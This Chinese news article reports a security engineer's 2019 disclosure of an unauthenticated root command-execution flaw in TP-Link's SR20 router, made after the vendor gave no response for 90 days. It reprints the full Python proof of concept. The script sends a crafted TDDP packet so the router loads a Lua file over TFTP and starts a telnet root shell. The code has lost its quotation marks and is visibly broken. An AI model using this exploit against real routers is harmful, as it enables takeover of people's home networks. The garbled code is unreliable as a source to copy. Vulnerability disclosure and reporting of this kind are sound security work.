TP-Link 90 天不回应,安全工程师公开其路由器漏洞
日期:2019-04-04  来源:[db:来源] 

​ 此前 Google 安全工程师在 TP-Link 的 SR20 智能家居路由器上发现了一个允许从本地网络连接执行任意命令的漏洞,他将问题报告给 TP-Link,但是经过了 90 天还没有得到官方的回应,于是他公开了该漏洞。

 该问题由著名的 Google 安全工程师与开源贡献者 Matthew Garrett 披露,周三他公开的 38 行概念验证代码显示出在利用 SR20 的漏洞时可以使用 root 权限执行设备上的任何命令,并且无需身份验证。

 Matthew 解释,TP-Link 路由器经常以 root 身份运行名为“tddp”(TP-Link Device Debug Protocol,TP-Link设备调试协议)的进程。它已经存在了多个漏洞,其中一个没有身份验证。

 “SR20 暴露了一些第一个版本协议的命令,其中一个(命令 0x1f,请求 0x01)似乎是用于某种配置验证”,他说:“你发送文件和相应参数,收到命令后,路由器通过 TFTP 响应请求的机器,询问文件名,将其导入 Lua 解释器,以 root 身份运行,并将参数发送到导入文件中的 config_test() 函数。Lua os.execute() 方法传递一个由操作系统 shell 执行的命令。”

 由于解释器以 root 身份运行,所以可以执行任意命令。

#!/usr/bin/python3


# Create /testfile in your tftp root directory with the following contents:

#

#function config_test(config)

#  os.execute(telnetd -l /bin/login.sh)

#end

#

# Replace 192.168.0.1 with the IP address of the vulnerable device


import binascii

import socket


port_send = 1040

port_receive = 61000


tddp_ver = 01

tddp_command = 31

tddp_req = 01

tddp_reply = 00

tddp_padding = %0.16X % 00


tddp_packet = .join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])


sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

sock_receive.bind(('', port_receive))


# Send a request

sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

packet = binascii.unhexlify(tddp_packet)

packet = packet + b/testfile;arbitrary

print(packet)

sock_send.sendto(packet, (192.168.0.1, port_send))

sock_send.close()


response, addr = sock_receive.recvfrom(1024)

r = response.encode('hex')

print(r)


(来源:开源中国社区)

收藏本页
  • 上一篇:没有了
  • 下一篇:没有了